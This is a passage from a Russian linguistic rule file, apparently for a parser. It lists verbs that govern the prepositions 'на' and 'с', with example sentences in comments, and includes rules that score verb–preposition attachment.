rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
